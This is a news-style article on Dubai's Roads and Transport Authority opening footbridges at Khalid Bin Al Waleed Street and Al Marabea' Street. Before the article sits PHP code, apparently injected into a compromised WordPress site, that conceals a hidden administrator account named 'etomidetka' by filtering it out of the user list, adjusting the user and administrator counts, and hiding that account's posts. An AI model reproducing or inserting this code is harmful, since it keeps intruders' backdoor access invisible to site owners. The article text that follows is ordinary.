//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); RTA Opens Footbridge At Khalid Bin Al Waleed/Al Marabea
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RTA Opens Footbridge At Khalid Bin Al Waleed/Al Marabea

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RTA Opens Footbridge At Khalid Bin Al Waleed/Al Marabea

RTA Opens Footbridge At Khalid Bin Al Waleed/Al Marabea. Dubai Roads and Transport Authority (RTA) continues to prioritize pedestrian safety with the opening of two new footbridges, strategically located at Khalid Bin Al Waleed Street in Bur Dubai and Al Marabea’ Street in Al Quoz. These new bridges aim to enhance the safety and mobility of pedestrians, offering a safer, more convenient alternative to crossing busy streets, while also improving the connectivity between residential and commercial areas.

As part of RTA’s broader efforts to reduce road accidents and streamline traffic, these bridges represent a significant development for the communities they serve. Let’s explore the details behind the construction of these bridges, the motivation for their creation, and their expected impact on Dubai’s transport landscape.

Enhancing Pedestrian Safety: Khalid Bin Al Waleed Footbridge

One of the newly inaugurated pedestrian bridges is situated at Khalid Bin Al Waleed Street, a bustling area in Bur Dubai known for its vibrant trading activities. This area is frequented by both locals and tourists, making it one of the most pedestrian-heavy regions in Dubai. The bridge connects the two sides of this busy street, ensuring that pedestrians can cross safely without disrupting traffic flow.

According to Engineer Maitha bin Adai, CEO of RTA’s Traffic and Roads Agency, the bridge is equipped with lifts to make it accessible to all users, including people with disabilities, the elderly, and those carrying heavy loads. Strategically located near the Ascot Hotel, this bridge provides a seamless and safe connection between two bustling sections of Bur Dubai, which are otherwise separated by heavy traffic.

Pedestrian safety has been a pressing concern in areas like Bur Dubai, where a mix of commercial activities and residential spaces leads to high foot traffic. This new bridge is expected to minimize the risk of pedestrian-related accidents, offering a secure, elevated pathway for people to cross the road.

Al Marabea Street Footbridge: Serving Al Quoz Growing Community

The second bridge is located on Al Marabea’ Street in Al Quoz, an area characterized by its residential and labor communities. This region, known for its large population of workers and residents, has long required a safer solution for crossing Al Marabea’ Street, which is notorious for casual pedestrian crossings that often lead to road accidents.

The newly built Al Marabea’ footbridge caters specifically to these communities. Unlike the Khalid Bin Al Waleed bridge, this structure is fitted with ramps, allowing for easier accessibility, particularly for those using bicycles, strollers, or wheelchairs. The bridge is designed to eliminate the dangerous practice of crossing the street at unmarked locations, helping to significantly reduce the number of runover incidents that have occurred in the past.

By providing this safer alternative, the RTA is not only enhancing the overall safety of the area but also contributing to a more streamlined traffic flow, as drivers will no longer need to slow down or stop for pedestrians making risky street crossings.

Pedestrian Bridges: A Growing Trend in Dubai

These new bridges are part of RTA’s wider plan to install more pedestrian bridges throughout the city. Currently, RTA is also working on a pedestrian bridge over King Salman bin Abdulaziz Al Saud Street at JBR. This project, which stands out for its iconic design, is set to become a hallmark of Dubai’s architectural brilliance. The bridge will feature stairs that connect all four directions of the intersection, as well as lifts for easy accessibility.

With an eye-catching design that mirrors the architectural style of nearby buildings and the coastal landscape, this JBR footbridge is sure to be a symbol of the area’s modern aesthetic. The RTA has taken careful steps to ensure that all stairs will be covered for the convenience of users, providing a comfortable experience, even during Dubai’s intense summer heat.

RTA Commitment to Road Safety

Engineer Maitha bin Adai emphasized the importance of pedestrian bridges and subways in ensuring the safety of all road users. She urged both residents and visitors to use these designated pedestrian crossings to avoid accidents and safeguard themselves from the dangers of busy roads. Additionally, she called on motorists to respect speed limits and to be particularly cautious when approaching pedestrian crossings.

The RTA’s ongoing commitment to building pedestrian bridges underscores its dedication to reducing traffic accidents and promoting safe, efficient travel for everyone in the city. These bridges not only serve the practical purpose of ensuring pedestrian safety but also contribute to the overall ease and convenience of getting around Dubai.

Conclusion

The opening of the pedestrian bridges at Khalid Bin Al Waleed Street and Al Marabea’ Street reflects the RTA’s proactive approach to improving road safety and enhancing pedestrian mobility. By providing safe, accessible crossings, these bridges help reduce the risk of accidents and improve the flow of traffic in some of Dubai’s busiest areas. As the city continues to expand, these developments play a crucial role in ensuring that both residents and visitors can navigate safely and efficiently.

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